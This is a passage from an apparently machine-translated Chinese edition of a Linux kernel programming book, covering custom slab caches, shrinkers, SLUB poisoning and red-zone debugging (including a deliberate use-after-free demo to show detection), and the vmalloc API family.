`kmem_cache_alloc()`的第一个参数是指向我们在上一步中创建的(自定义)缓存的指针(指针是来自`kmem_cache_create()`应用编程接口的返回值)。 -* 第二个参数是通常要传递的 GFP 标志(记住基本规则:使用`GFP_KERNEL`进行正常的进程上下文分配,否则`GFP_ATOMIC`如果在任何种类的原子或中断上下文中)。 - -和现在熟悉的`k[m|z]alloc()`API 一样,返回值是指向新分配的内存块的指针——一个内核逻辑地址(当然是 KVA)。 - -使用新分配的内存对象,完成后,不要忘记使用以下命令释放它: - -```sh -void kmem_cache_free(struct kmem_cache *, void *); -``` - -在此,请注意关于`kmem_cache_free()`应用编程接口的以下内容: - -* `kmem_cache_free()`的第一个参数还是指向您在上一步中创建的(自定义)板缓存的指针(来自`kmem_cache_create()`的返回值)。 - -* 第二个参数是指向你想要释放的内存对象的指针——你刚刚被分配了`kmem_cache_alloc()`的对象实例——从而让它返回到第一个参数指定的缓存! - -类似于`k[z]free()`API,没有返回值。 - -### 销毁自定义缓存 - -完成后(通常在内核模块的清理或退出代码路径中,或您的驱动程序的`remove`方法中),您必须销毁您之前使用以下行创建的自定义 slab 缓存: - -```sh -void kmem_cache_destroy(struct kmem_cache *); -``` - -当然,该参数是指向您在上一步中创建的(自定义)缓存的指针(来自`kmem_cache_create()`应用编程接口的返回值)。 - -现在您已经理解了这个过程及其相关的 API,让我们开始使用一个内核模块,它创建自己的自定义 slab 缓存,使用它,然后销毁它。 - -## 定制平板——一个演示内核模块 - -是时候用一些代码弄脏我们的手了!让我们看一个使用前面的 API 来创建我们自己的自定义 slab 缓存的简单演示。像往常一样,我们在这里只显示相关代码。我强烈建议你克隆这本书的 GitHub 资源库,自己尝试一下!你可以在`ch9/slab_custom/slab_custom.c`找到这个文件的代码。 - -在我们的 init 代码路径中,我们首先调用以下函数来创建我们的自定义 slab 缓存: - -```sh -// ch9/slab_custom/slab_custom.c -#define OURCACHENAME "our_ctx" -/* Our 'demo' structure, that (we imagine) is often allocated and freed; - * hence, we create a custom slab cache to hold pre-allocated 'instances' - * of it... Its size: 328 bytes. - */ -struct myctx { - u32 iarr[10]; - u64 uarr[10]; - char uname[128], passwd[16], config[64]; -}; -static struct kmem_cache *gctx_cachep; -``` - -在前面的代码中,我们声明了一个(全局)指针(`gctx_cachep`)指向要创建的自定义 slab 缓存,它将保存对象;也就是我们虚构的经常被分配的数据结构,`myctx`。 - -在下面,请参见创建自定义板缓存的代码: - -```sh -static int create_our_cache(void) -{ - int ret = 0; - void *ctor_fn = NULL; - - if (use_ctor == 1) - ctor_fn = our_ctor; - pr_info("sizeof our ctx structure is %zu bytes\n" - " using custom constructor routine? %s\n", - sizeof(struct myctx), use_ctor==1?"yes":"no"); - - /* Create a new slab cache: - * kmem_cache_create(const char *name, unsigned int size, unsigned int - align, slab_flags_t flags, void (*ctor)(void *)); */ - gctx_cachep = kmem_cache_create(OURCACHENAME, // name of our cache - sizeof(struct myctx), // (min) size of each object - sizeof(long), // alignment - SLAB_POISON | /* use slab poison values (explained soon) */ - SLAB_RED_ZONE | /* good for catching buffer under|over-flow bugs */ - SLAB_HWCACHE_ALIGN, /* good for performance */ - ctor_fn); // ctor: here, on by default - - if (!gctx_cachep) { - [...] - if (IS_ERR(gctx_cachep)) - ret = PTR_ERR(gctx_cachep); - } - return ret; -} -``` - -嘿,这很有趣:注意我们的缓存创建 API 提供了一个构造函数来帮助初始化任何新分配的对象;这是: - -```sh -/* The parameter is the pointer to the just allocated memory 'object' from - * our custom slab cache; here, this is our 'constructor' routine; so, we - * initialize our just allocated memory object. - */ -static void our_ctor(void *new) -{ - struct myctx *ctx = new; - struct task_struct *p = current; - - /* TIP: to see how exactly we got here, insert this call: - * dump_stack(); - * (read it bottom-up ignoring call frames that begin with '?') */ - pr_info("in ctor: just alloced mem object is @ 0x%llx\n", ctx); - - memset(ctx, 0, sizeof(struct myctx)); - /* As a demo, we init the 'config' field of our structure to some - * (arbitrary) 'accounting' values from our task_struct - */ - snprintf(ctx->config, 6*sizeof(u64)+5, "%d.%d,%ld.%ld,%ld,%ld", - p->tgid, p->pid, - p->nvcsw, p->nivcsw, p->min_flt, p->maj_flt); -} -``` - -前面代码中的注释是不言自明的;一定要看看。构造器例程,如果设置(取决于我们的`use_ctor`模块参数的值;默认情况下是`1`,每当一个新的内存对象被分配到我们的缓存中时,就会被内核自动调用。 - -在初始化代码路径中,我们调用`use_our_cache()`函数。它通过`kmem_cache_alloc()`应用编程接口分配我们的`myctx`对象的一个实例,如果我们的自定义构造函数例程被启用,它就会运行,初始化该对象。然后,我们转储它的内存,以显示它确实被初始化为编码,完成后释放它(为简洁起见,我们将省略显示错误代码路径): - -```sh - obj = kmem_cache_alloc(gctx_cachep, GFP_KERNEL); - pr_info("Our cache object size is %u bytes; ksize=%lu\n", - kmem_cache_size(gctx_cachep), ksize(obj)); - print_hex_dump_bytes("obj: ", DUMP_PREFIX_OFFSET, obj, sizeof(struct myctx)); - kmem_cache_free(gctx_cachep, obj); -``` - -最后,在退出代码路径中,我们销毁我们的自定义 slab 缓存: - -```sh -kmem_cache_destroy(gctx_cachep); -``` - -示例运行的以下输出帮助我们理解它是如何工作的。以下只是部分截图,显示了运行 Linux 5.4 内核的 x86_64 Ubuntu 18.04 LTS 客户机上的输出: - -![](img/ccea160f-99ee-4292-ad57-721968be31f8.png) - -Figure 9.1 – Output of our slab_custom kernel module on an x86_64 VM - -太好了。不过,请稍等,这里有几个要点需要注意: - -* 由于默认情况下我们的构造函数例程是启用的(我们的`use_ctor`模块参数的值是`1`,所以每当内核层将新的对象实例分配给我们的新缓存时,它都会运行。这里,我们只执行了一个`kmem_cache_alloc()`,然而我们的构造函数例程已经运行了 21 次,这意味着内核的 slab 代码(pre)为我们全新的缓存分配了 21 个对象!当然,这个数字各不相同。 -* 二、一些非常重要的注意事项!如前一张截图所示,每个对象的*大小*看似是 328 字节(这三个 API 都显示:`sizeof()`、`kmem_cache_size()`和`ksize()`)。然而,这又不是真的!内核分配的对象的实际大小更大;我们可以通过`vmstat(8)`看到这一点: - -```sh -$ sudo vmstat -m | head -n1 -Cache Num Total Size Pages -$ sudo vmstat -m | grep our_ctx -our_ctx 0 21 768 21 -$ -``` - -如前一段代码中突出显示的,每个分配对象的实际大小不是 328 字节,而是 768 字节(确切的数字各不相同;在一种情况下,我将其视为 448 字节)。正如我们之前看到的,这一点对你来说很重要,要意识到,并且确实要检查。我们在接下来的*调试板层*部分展示了另一种很容易检查的方法。 - -FYI, you can always check out the man page of `vmstat(8)` for the precise meaning of each column seen earlier. - -我们将结束关于使用平板收缩器界面创建和使用自定义平板缓存的讨论。 - -## 了解平板收缩器 - -缓存对性能有好处。可视化从磁盘读取大文件的内容,而不是从内存读取其内容。毫无疑问,基于内存的输入输出要快得多!可以想象,Linux 内核利用了这些思想,因此维护了几个缓存——页面缓存、数据缓存、索引节点缓存、片缓存等等。这些缓存确实对性能有很大帮助,但是仔细想想,实际上并不是强制性要求。当内存压力达到很高的水平时(意味着使用的内存太多,空闲的内存太少),Linux 内核拥有智能释放缓存的机制(也就是内存回收——这是一个持续的过程;内核线程(通常命名为`kswapd*`)回收内存,作为其内务处理的一部分;在*回收内存-内核内务处理任务和* *OOM* 一节中有更多相关内容。 - -就片层缓存而言,事实是一些内核子系统和驱动程序创建了它们自己的定制片层缓存,正如我们在本章前面所述。为了很好地集成并与内核协作,最佳实践要求您的自定义 slab 缓存代码应该注册一个 shrinker 接口。完成后,当内存压力变得足够大时,内核很可能会调用几个 slab shrinker 回调,这有望通过释放(收缩)slab 对象来缓解内存压力。 - -向内核注册收缩器函数的应用编程接口是`register_shrinker()`应用编程接口。它的单个参数(从 Linux 5.4 开始)是一个指向`shrinker`结构的指针。该结构包含(除其他内务处理成员外)两个回调例程: - -* 第一个例程`count_objects()`,仅仅计算并返回将被释放的对象的数量(当它被实际调用时)。如果它返回`0`,这意味着现在无法确定可释放内存对象的数量,或者我们现在甚至不应该尝试释放任何对象。 -* 只有当第一个回调例程返回非零值时,才会调用第二个例程`scan_objects()`;它是一个当被 slab 缓存层调用时,实际上释放或收缩有问题的 slab 缓存。它返回在此回收周期中释放的对象的实际数量,如果回收尝试无法进行(由于可能的死锁),则返回`SHRINK_STOP`。 - -现在,我们将快速总结一下使用这个层进行内存(de)分配的利弊,从而结束对 slab 层的讨论,这对作为内核/驱动程序作者的您来说非常重要,您应该非常清楚这一点! - -## 平板分配器-优点和缺点-总结 - -在这一节中,我们非常简要地总结了您现在已经学到的东西。这是为了让你快速查找和回忆这些关键点! - -使用 slab 分配器(或 slab 缓存)API 来分配和释放内核内存的优点如下: - -* (非常)快(因为它使用预先缓存的内存对象)。 -* 保证物理上连续的内存块。 -* 创建缓存时使用`SLAB_HWCACHE_ALIGN`标志时,硬件(中央处理器)缓存行对齐内存得到保证。`kmalloc()`、`kzalloc()`等等都是如此。 -* 您可以为特定(经常允许/释放)对象创建自己的自定义板缓存。 - -使用片分配器(或片缓存)API 的缺点如下: - -* 一次只能分配有限的内存;通常,在大多数当前平台上,直接通过 slab 接口只有 8 KB,或者通过页面分配器间接达到 4 MB(当然,精确的上限取决于 arch)。 -* 错误地使用`k[m|z]alloc()`API:请求太多内存,或者请求刚好超过阈值的内存大小(在[第 8 章](08.html)、*模块作者的内核内存分配–第 1 部分*中,在 kmalloc API 部分的*大小限制下详细讨论),肯定会导致内部碎片(浪费)。它的设计只是为了真正针对常见情况进行优化——针对小于一页的分配。* - -现在,让我们转到内核/驱动程序开发人员的另一个真正关键的方面——当内存分配/释放出现问题时进行有效的调试,尤其是在 slab 层。 - -# 在板层调试 - -不幸的是,内存损坏是 bug 的一个非常常见的根本原因。能够调试它们是一项关键技能。我们现在来看看解决这个问题的几种方法。在深入细节之前,请记住下面的讨论是关于平板层的 *SLUB* (未引用的分配器)实现的。这是大多数 Linux 安装的默认设置(我们在[第 8 章](08.html)、*模块作者的内核内存分配–第 1 部分*,在*内核*部分的“板层实现”下提到,当前的 Linux 内核有三个互斥的板层实现)。 - -此外,我们在这里的意图不是讨论关于内存调试的深入内核调试工具——这本身就是一个很大的主题,不幸的是超出了本书的范围。尽管如此,我还是要说,您最好熟悉已经提到的强大框架/工具,尤其是以下这些: - -* **KASAN** (即**内核地址杀毒软件**;可用于 x86_64 和 AArch64,4.x 内核及更高版本) -* SLUB 调试技术(此处涉及) -* `kmemleak`(虽然 KASAN 是高手) -* `kmemcheck`(注意`kmemcheck`在 Linux 4.15 中被删除) - -不要忘记在*进一步阅读*部分寻找这些链接。好了,让我们开始讨论一些有用的方法来帮助开发人员在 slab 层调试代码。 - -## 通过板坯中毒进行调试 - -一个非常有用的特征是所谓的石板中毒。术语*中毒*在这个上下文中意味着用某些签名字节或容易识别的模式戳内存。然而,使用这个的前提是`CONFIG_SLUB_DEBUG`内核配置选项打开。怎么能查?简单: - -```sh -$ grep -w CONFIG_SLUB_DEBUG /boot/config-5.4.0-llkd01 -CONFIG_SLUB_DEBUG=y -``` - -前面代码中看到的`=y`表示确实开启。现在(假设它已打开)如果您创建一个带有`SLAB_POISON`标志的平板缓存(我们在*创建自定义平板缓存*部分中介绍了平板缓存的创建),那么,当内存被分配时,它总是被初始化为特殊值或内存模式`0x5a5a5a5a`–它被毒化了(这是有意的:十六进制值`0x5a`是 ASCII 字符`Z`代表零)!所以,想想看,如果你在内核诊断消息或转储中发现了这个值,也称为*哎呀,*很有可能这是一个(不幸的是非常典型的)未初始化内存错误或 **UMR** (简称**未初始化内存读取**)。 - -Why use the word *perhaps* in the preceding sentence? Well, simply because debugging deeply hidden bugs is a really difficult thing to do! The symptoms that might present themselves are not necessarily *the root cause* of the issue at hand. Thus, hapless developers are fairly often led down the proverbial garden path by various red herrings! The reality is that debugging is both an art and a science; deep knowledge of the ecosystem (here, the Linux kernel) goes a really long way in helping you effectively debug difficult situations. - -如果`SLAB_POISON`标志未置位,未初始化的平板内存将被设置为`0x6b6b6b6b`内存模式(十六进制`0x6b`是 ASCII 字符`k`(见图 9.2))。类似地,当释放了 slab 缓存内存并且`CONFIG_SLUB_DEBUG`打开时,内核向其中写入相同的内存模式(`0x6b6b6b6b ; 'k'`)。这也非常有用,允许我们发现(内核认为的)未初始化或空闲的内存。 - -中毒值在`include/linux/poison.h`中定义如下: - -```sh -/* ...and for poisoning */ -#define POISON_INUSE 0x5a /* for use-uninitialized poisoning */ -#define POISON_FREE 0x6b /* for use-after-free poisoning */ -#define POISON_END 0xa5 /* end-byte of poisoning */ -``` - -关于 SLUB 分配器的内核 SLUB 实现,我们来看看**如何以及何时**(具体情况由下面的`if`部分决定)*SLUB 中毒发生的概要视图,*及其类型如下伪代码所示: - -```sh -if CONFIG_SLUB_DEBUG is enabled - AND the SLAB_POISON flag is set - AND there's no custom constructor function - AND it's type-safe-by-RCU -``` - -然后板坯中毒发生如下: - -* 初始化时,平板存储器设置为`POISON_INUSE (0x5a = ASCII 'Z')`;这里的代码是:`mm/slub.c:setup_page_debug()`。 -* 在`mm/slub.c:init_object()`中初始化时,板对象被设置为`POISON_FREE (0x6b = ASCII 'k')`。 -* 在`mm/slub.c:init_object()`中初始化时,板对象的最后一个字节被设置为`POISON_END (0xa5)`。 - -(因此,由于板层执行这些板内存初始化的方式,我们以值`0x6b` (ASCII `k`)作为刚刚分配的板内存的初始值结束)。请注意,要做到这一点,您不应该安装自定义构造函数。还有,你可以暂时忽略`it's-type-safe-by-RCU`指令;通常情况是这样的(也就是说,“被 RCU 保护的类型”是正确的;仅供参考,RCU(阅读副本更新)是一种先进的同步技术,超出了本书的范围)。从 SLUB 调试模式下运行时如何初始化 SLUB 可以看出,内存内容被有效初始化为`POISON_FREE (0x6b = ASCII 'k')`值。因此,如果这个值在释放内存后发生变化,内核可以检测到这一点并触发一个报告(通过 printk)。这当然是大家熟知的【免费后使用】 ( **UAF** )内存 bug 的一个案例!类似地,在红区区域之前或之后写入(这些区域实际上是保护区域,通常被初始化为`0xbb`)将触发写缓冲区不足/溢出错误,内核会报告该错误。有用! - -### 尝试一下——引发 UAF 病毒 - -为了帮助您更好地理解这一点,我们将在本节中通过截图展示一个示例。执行以下步骤: - -1. 首先,确保启用`CONFIG_SLUB_DEBUG`内核配置(应该设置为`y`;这通常是发行版内核的情况) -2. 接下来,引导系统,同时包含内核命令行`slub_debug=`指令(这开启了完全 SLUB 调试;或者您可以传递一个更细粒度的变量,如`slub_debug=FZPU`(参见这里的内核文档了解每个字段的解释:[https://www.kernel.org/doc/Documentation/vm/slub.txt](https://www.kernel.org/doc/Documentation/vm/slub.txt));作为演示,在我的 Fedora 31 来宾 VM 上,我传递了如下内核命令行-这里重要的是,`slub_debug=FZPU`以粗体突出显示: - -```sh -$ cat /proc/cmdline -BOOT_IMAGE=(hd0,msdos1)/vmlinuz-5.4.0-llkd01 root=/dev/mapper/fedora_localhost--live-root ro resume=/dev/mapper/fedora_localhost--live-swap rd.lvm.lv=fedora_localhost-live/root rd.lvm.lv=fedora_localhost-live/swap rhgb slub_debug=FZPU 3 -``` - -(关于`slub_debug`参数的更多细节在下一节*引导和运行时的 SLUB 调试选项*中)。 - -3. 编写一个内核模块,创建一个新的自定义 slab 缓存(当然有内存错误!).确保没有指定构造函数(示例代码在这里:`ch9/poison_test`;我将把它作为一个练习留给你浏览代码并测试它)。 - -4. 我们在这里尝试一下:通过`kmem_cache_alloc()`(或等效物)分配一些平板内存。下面是一个截图(图 9.2),显示了分配的内存,以及快速`memset()`将前 16 个字节设置为`z` ( `0x7a`)后的相同区域: - -![](img/24c04df3-283c-44c7-8e05-8cc9cee15bb7.png) - -Figure 9.2 – Slab memory after allocation and memset() of the first 16 bytes - -5. 现在,为了虫子!在清理方法中,我们释放分配的板,然后通过尝试对其执行另一个`memset()`*来重用它,从而触发 UAF 错误*。同样,我们通过另一个截图显示了内核日志(图 9.3): - -![](img/8dc2f695-050a-49b6-9d8b-f2e32194ca00.png) - -Figure 9.3 – The kernel reporting the UAF bug! - -请注意内核如何将此(上图中红色的第一个文本)报告为`Poison overwritten`错误。事实确实如此:我们用`0x21` 覆盖了`0x6b`毒值(相当有意地是 ASCII 字符`!`)。在释放一个来自 slab 缓存的缓冲区后,如果内核在有效负载中检测到除中毒值(`POISON_FREE = 0x6b = ASCII 'k'`)以外的任何值,它就会触发错误。(还要注意,红区保护区被初始化为值`0xbb`)。 - -下一节提供了 SLUB 层调试选项的更多细节。 - -## 引导和运行时 SLUB 调试选项 - -当使用 SLUB 实现(默认)时,调试内核级的 slab 问题非常强大,因为内核有完整的调试信息可用。只是默认关闭了。我们可以通过各种方式(视口)打开和查看平板调试级信息;丰富的细节是可用的!这样做的一些方法包括: - -* 在内核命令行上传递`slub_debug=`字符串(当然是通过引导加载程序)。这将开启完全 SLUB 内核级调试。 -* 可以通过传递给`slub_debug=`字符串的选项来微调要查看的具体调试信息(在`=`后不传递任何内容意味着所有 SLUB 调试选项都已启用);例如,通过`slub_debug=FZ`打开以下选项: - - * `F`:健全性检查开启(启用`SLAB_DEBUG_CONSISTENCY_CHECKS`);请注意,打开此选项会降低系统速度。 - * `Z`:红色分区。 -* 即使 SLUB 调试功能没有通过内核命令行打开,我们仍然可以通过将`1`(作为根)写入`/sys/kernel/slab/`下合适的伪文件来启用/禁用它: - * 回想一下我们之前的演示内核模块(`ch9/slab_custom`);加载到内核后,看到每个分配对象的理论和实际大小,如下所示: - -```sh -$ sudo cat /sys/kernel/slab/our_ctx/object_size /sys/kernel/slab/our_ctx/slab_size -328 768 -``` - -```sh -$ sudo cat /sys/kernel/slab/our_ctx/ctor -our_ctor+0x0/0xe1 [slab_custom] -``` - -你可以在这里找到相当多的相关细节(非常有用!)此处文档:*SLUB*([https://www.kernel.org/doc/Documentation/vm/slub.txt](https://www.kernel.org/doc/Documentation/vm/slub.txt))短用户指南。 - -此外,在内核源代码树的`tools/vm`文件夹下快速浏览一下,会发现一些有趣的程序(`slabinfo.c`是这里的相关程序)和一个生成图形的脚本(通过`gnuplot(1)`)。上一段提到的文档也提供了关于图生成的使用细节。 - -As an important aside, the kernel has an enormous (and useful!) number of *kernel parameters* that can be optionally passed to it at boot (via the bootloader). See the complete list here in the documentation: *The kernel’s command-line parameters* ([https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html)). - -好了,这(最后)结束了我们对 slab 分配器的介绍(从上一章继续到这一章)。您已经了解到它分层在页面分配器之上,并解决了两个关键问题:一是它允许内核创建和维护对象缓存,以便可以非常高效地执行一些重要内核数据结构的分配和释放;第二,这包括通用内存缓存,允许您以非常少的开销分配少量的内存(页面的片段)(不像二进制伙伴系统分配器)。事实很简单:slab APIs 是驱动程序真正常用的;不仅如此,现代驱动程序作者利用资源管理的`devm_k{m,z}alloc()`API;我们鼓励你这样做。不过要小心:我们详细检查了实际分配的内存比您想象的多多少(使用`ksize()`来计算到底有多少)。您还学习了如何创建自定义的平板缓存,更重要的是,如何在平板层进行调试。 - -现在让我们了解一下`vmalloc()` API 是什么,如何以及何时使用它进行内核内存分配。 - -# 理解和使用内核 vmalloc() - -正如我们在上一章中了解到的,内核中最终只有一个内存分配引擎——页面(或伙伴系统)分配器。顶层是平板分配器(或平板缓存)机器。此外,在内核的地址空间中还有另一个完全虚拟的地址空间,从这里可以随意分配虚拟页面——这被称为内核`vmalloc`区域。 - -当然,最终,一旦一个虚拟页面被实际使用(通过进程或线程被内核或用户空间中的某个东西使用)——它所映射到的物理页面框架实际上是通过页面分配器分配的(这最终也适用于所有用户空间内存框架,尽管是以间接的方式;稍后在*需求分页和 OOM* 部分会有更多相关内容。 - -在内核段或 VAS 中(我们在[第 7 章](07.html)、*内存管理内部组件-要点、*中的*检查内核段*部分中详细介绍了这一切),是从`VMALLOC_START`延伸到`VMALLOC_END-1`的 *vmalloc* 地址空间。首先,它是一个完全虚拟的区域,也就是说,它的虚拟页面最初没有映射到任何物理页面框架。 - -For a quick refresher, revisit the diagram of the user and kernel segments – in effect, the complete VAS – by re-examining *Figure 7.12*. You will find this in [Chapter 7](07.html), *Memory Management Internals - Essentials,* under the *Trying it out – viewing kernel segment details* section. - -在本书中,我们的目的不是要深入研究内核`vmalloc`区域的血淋淋的内部细节。相反,我们为您(模块或驱动程序作者)提供了足够的信息,以便在运行时使用这个区域来分配虚拟内存。 - -## 学习使用 vmalloc 系列应用编程接口 - -您可以使用`vmalloc()`应用编程接口从内核的`vmalloc`区域分配虚拟内存(当然是在内核空间): - -```sh -#include -void *vmalloc(unsigned long size); -``` - -vmalloc 上需要注意的一些要点: - -* `vmalloc()` API 为调用者分配连续的虚拟内存。不能保证分配的区域在物理上是连续的;它可能是也可能不是(事实上,分配越大,它在物理上连续的可能性就越小)。 -* 理论上,分配的虚拟页面的内容是随机的;实际上,它似乎是依赖于 arch 的(至少 x86_64 似乎将内存区域清零);当然,(冒着轻微性能下降的风险)建议您使用`vzalloc()`包装器 API 来确保内存清零 - -* `vmalloc()`(和朋友)应用编程接口只能从进程上下文中调用(因为它可能会导致调用者休眠)。 -* `vmalloc()`的返回值是成功时的 KVA(在内核 vmalloc 区域内)或失败时的`NULL`。 -* 刚刚分配的 vmalloc 内存的起点保证在页面边界上(换句话说,它总是页面对齐的)。 -* 实际分配的内存(来自页面分配器)可能比请求的内存大(同样,它在内部分配足够的页面来覆盖请求的大小) - -你会觉得这个 API 看起来和熟悉的用户空间`malloc(3)`非常相似。乍看之下确实如此,当然,除了这是一个内核空间分配(同样,请记住这两者之间没有直接的关联)。 - -既然如此,`vmalloc()`对我们模块或者驱动作者有什么帮助?当您需要一个比 slab APIs(即`k{m|z}alloc()`和 friends)所能提供的大小更大的虚拟连续缓冲区时(回想一下,ARM 和 x86[_64]上的单次分配通常为 4 MB),那么您应该使用`vmalloc`! - -仅供参考,内核使用`vmalloc()`有各种原因,其中一些原因如下: - -* 当内核模块加载到内核中时(在`kernel/module.c:load_module()`中),为内核模块的(静态)内存分配空间。 -* 如果定义了`CONFIG_VMAP_STACK`,则`vmalloc()`用于分配每个线程的内核模式堆栈(在`kernel/fork.c:alloc_thread_stack_node()`中)。 -* 在内部,当服务于一个名为`ioremap()`的操作时。 -* Linux 套接字过滤器(bpf)内的代码路径,等等。 - -为了方便起见,内核提供了`vzalloc()`包装器 API(类似于`kzalloc()`)来分配和清空内存区域——这无疑是一个很好的编码实践,但可能会稍微损害时间关键的代码路径: - -```sh -void *vzalloc(unsigned long size); -``` - -使用完分配的虚拟缓冲区后,您当然必须释放它: - -```sh -void vfree(const void *addr); -``` - -不出所料,`vfree()`的参数是来自`v[m|z]alloc()`的返回地址(甚至是这些调用的底层`__vmalloc()`应用编程接口)。通过`NULL`使其无害返回。 - -在下面的代码片段中,我们展示了一些来自`ch9/vmalloc_demo`内核模块的示例代码。像往常一样,我敦促您克隆这本书的 GitHub 存储库,并自己尝试一下(为简洁起见,我们不会在下面的代码片段中显示全部源代码;我们展示了由模块的 init 代码调用的主`vmalloc_try()`函数)。 - -这是代码的第一部分。如果`vmalloc()`应用编程接口偶然失败,我们通过内核的`pr_warn()`助手生成一个警告。请注意以下`pr_warn()`助手并不是真正需要的;由于这里迂腐,我们保留它...其余情况同上,如下所示: - -```sh -// ch9/vmalloc_demo/vmalloc_demo.c -#define pr_fmt(fmt) "%s:%s(): " fmt, KBUILD_MODNAME, __func__ -[...] -#define KVN_MIN_BYTES 16 -#define DISP_BYTES 16 -static void *vptr_rndm, *vptr_init, *kv, *kvarr, *vrx; - -static int vmalloc_try(void) -{ - if (!(vptr_rndm = vmalloc(10000))) { - pr_warn("vmalloc failed\n"); - goto err_out1; - } - pr_info("1\. vmalloc(): vptr_rndm = 0x%pK (actual=0x%px)\n", - vptr_rndm, vptr_rndm); - print_hex_dump_bytes(" content: ", DUMP_PREFIX_NONE, vptr_rndm, - DISP_BYTES); -``` - -前面代码块中的`vmalloc()` API 分配了一个(至少)10,000 字节的连续内核虚拟内存区域;实际上,内存是页面对齐的!我们使用内核的`print_hex_dump_bytes()`助手例程来转储这个区域的前 16 个字节。 - -继续看下面的代码,使用`vzalloc()` API 再次分配另一个(至少)10,000 字节的连续内核虚拟内存区域(尽管它是页面对齐的内存);这一次,内存内容设置为零: - -```sh - /* 2\. vzalloc(); memory contents are set to zeroes */ - if (!(vptr_init = vzalloc(10000))) { - pr_warn("%s: vzalloc failed\n", OURMODNAME); - goto err_out2; - } - pr_info("2\. vzalloc(): vptr_init = 0x%pK (actual=0x%px)\n", - vptr_init, (TYPECST)vptr_init); - print_hex_dump_bytes(" content: ", DUMP_PREFIX_NONE, vptr_init, - DISP_BYTES); -``` - -关于以下代码有几点:第一,注意使用`goto`的错误处理(在多个`goto`实例的目标标签处,我们使用`vfree()`根据需要释放先前分配的内存缓冲区),典型的内核代码。二、目前请忽略`kvmalloc()`、`kcalloc()`和`__vmalloc()`朋友套路;我们将在*vmalloc 之友()*部分介绍它们: - -```sh - /* 3\. kvmalloc(): allocate 'kvn' bytes with the kvmalloc(); if kvn is - * large (enough), this will become a vmalloc() under the hood, else - * it falls back to a kmalloc() */ - if (!(kv = kvmalloc(kvn, GFP_KERNEL))) { - pr_warn("kvmalloc failed\n"); - goto err_out3; - } - [...] - - /* 4\. kcalloc(): allocate an array of 1000 64-bit quantities and zero - * out the memory */ - if (!(kvarr = kcalloc(1000, sizeof(u64), GFP_KERNEL))) { - pr_warn("kvmalloc_array failed\n"); - goto err_out4; - } - [...] - /* 5\. __vmalloc(): */ - [...] - return 0; -err_out5: - vfree(kvarr); -err_out4: - vfree(kv); -err_out3: - vfree(vptr_init); -err_out2: - vfree(vptr_rndm); -err_out1: - return -ENOMEM; -} -``` - -在内核模块的清理代码路径中,我们当然会释放分配的内存区域: - -```sh -static void __exit vmalloc_demo_exit(void) -{ - vfree(vrx); - kvfree(kvarr); - kvfree(kv); - vfree(vptr_init); - vfree(vptr_rndm); - pr_info("removed\n"); -} -``` - -我们将让您来尝试和验证这个演示内核模块。 - -现在,让我们简单探究另一个真正关键的方面——一个用户空间`malloc()`,或者一个内核空间`vmalloc()`,内存分配到底是如何变成物理内存的?一定要继续读下去,找到答案! - -## 关于内存分配和按需分页的简要说明 - -在不深入研究`vmalloc()`(或用户空间`malloc()`)内部工作的细节的情况下,我们将讨论一些关键点,像您这样有能力的内核/驱动程序开发人员必须了解这些点。 - -首先,虚拟内存必须在某个时候(使用时)变成物理内存。这种物理内存是通过唯一的方式在内核中分配的——通过页面(或伙伴系统)分配器。这是如何发生的有点间接,简单解释如下。 - -使用`vmalloc()`时,需要理解一个关键点:`vmalloc()`只导致虚拟内存页面被分配(它们只是被操作系统标记为保留)。此时实际上没有分配物理内存。与虚拟页面相对应的实际物理页面框架只有在以任何方式(例如读取、写入或执行)触摸这些虚拟页面时才会被分配,也是逐页分配。这种在程序或进程实际尝试使用物理内存之前不实际分配物理内存的关键原则被各种名称引用–*需求分页、惰性分配、按需分配*等等。事实上,文档陈述了这个事实: - -"vmalloc space is lazily synchronized into the different PML4/PML5 pages of the processes using the page fault handler ..." - -清楚地了解内存分配如何真正为`vmalloc()`和朋友工作是很有启发性的,事实上,对于用户空间 glibc `malloc()`系列例程来说——这都是通过按需分页实现的!也就是说,这些 API 的成功返回在*物理*内存分配方面真的没有任何意义。当`vmalloc()`或者实际上是用户空间`malloc()`返回成功时,到目前为止真正发生的只是保留了一个虚拟内存区域;实际上还没有分配物理内存!*物理页面框架的实际分配仅在访问虚拟页面时以每页为基础发生(对于任何事情:读取、写入或执行)*。 - -但是这是如何在内部发生的呢?简单来说,答案就是:每当内核或者进程访问一个虚拟地址时,这个虚拟地址都是由**内存管理单元** ( **MMU** )来解释的,这个内存管理单元是 CPU 内核上硅片的一部分。MMU 的**翻译后备缓冲区** ( **TLB** ) *(* 我们没有闲心在这里深究这一切,抱歉! *)* 现在将被检查是否有*命中*。如果是,内存转换(虚拟到物理地址)已经可用;如果没有,我们有一个 TLB 小姐。如果是,MMU 现在将*遍历*进程的分页表,有效地转换虚拟地址,从而获得*物理地址。*它把这个放到地址总线上,CPU 继续它的快乐之路。 - -但是,考虑一下,如果 MMU 找不到匹配的物理地址怎么办?出现这种情况的原因有很多,其中之一就是我们这里的情况——我们(还)没有*的*物理页面框架,只有一个虚拟页面。在这一点上,MMU 基本上放弃了,因为它不能处理它。相反,它*在`current`的上下文中调用操作系统的页面错误处理程序代码*——在进程上下文中运行的异常或错误处理程序。这个页面错误处理程序实际上解决了这种情况;在我们的案例中,有了`vmalloc()`(或者确实连用户空间都有了`malloc()`!),它向页面分配器请求单个物理页面帧(在顺序`0`)并将其映射到虚拟页面。 - -同样重要的是要认识到,这种按需分页(或惰性分配)是*而不是内核内存分配*的情况,后者是通过页面(伙伴系统)和 slab 分配器执行的。在那里,当分配内存时,理解实际的物理页面帧被立即分配*。(实际上在 Linux 上,这一切都非常快,因为回想一下,好友系统自由列表已经将所有系统物理内存映射到内核*lowm*区域,因此可以随意使用。)* - - *回想一下我们在早期程序`ch8/lowlevel_mem`中所做的事情;在那里,我们使用我们的`show_phy_pages()`库例程来显示给定内存范围的虚拟地址、物理地址和**页面帧号** ( **PFN** ),从而验证低级页面分配器例程确实分配了物理上连续的内存块。现在,你可能会想,为什么不在这个`vmalloc_demo`内核模块中调用这个相同的函数呢?如果分配的(虚拟)页面的 pfn 不是连续的,我们再次证明,事实上,它只是虚拟连续的。听起来很想试试,但没用!为什么?原因很简单,如前所述(在[第 8 章](08.html)、*模块作者的内核内存分配–第 1 部分*):除了直接映射(标识映射/ lowmem 区域)地址–页面或平板分配器提供的地址,不要尝试从虚拟地址转换为物理地址。只是和`vmalloc`不配合。 - -`vmalloc`上还有几个点和一些相关信息;一定要读下去。 - -## vmalloc 之友() - 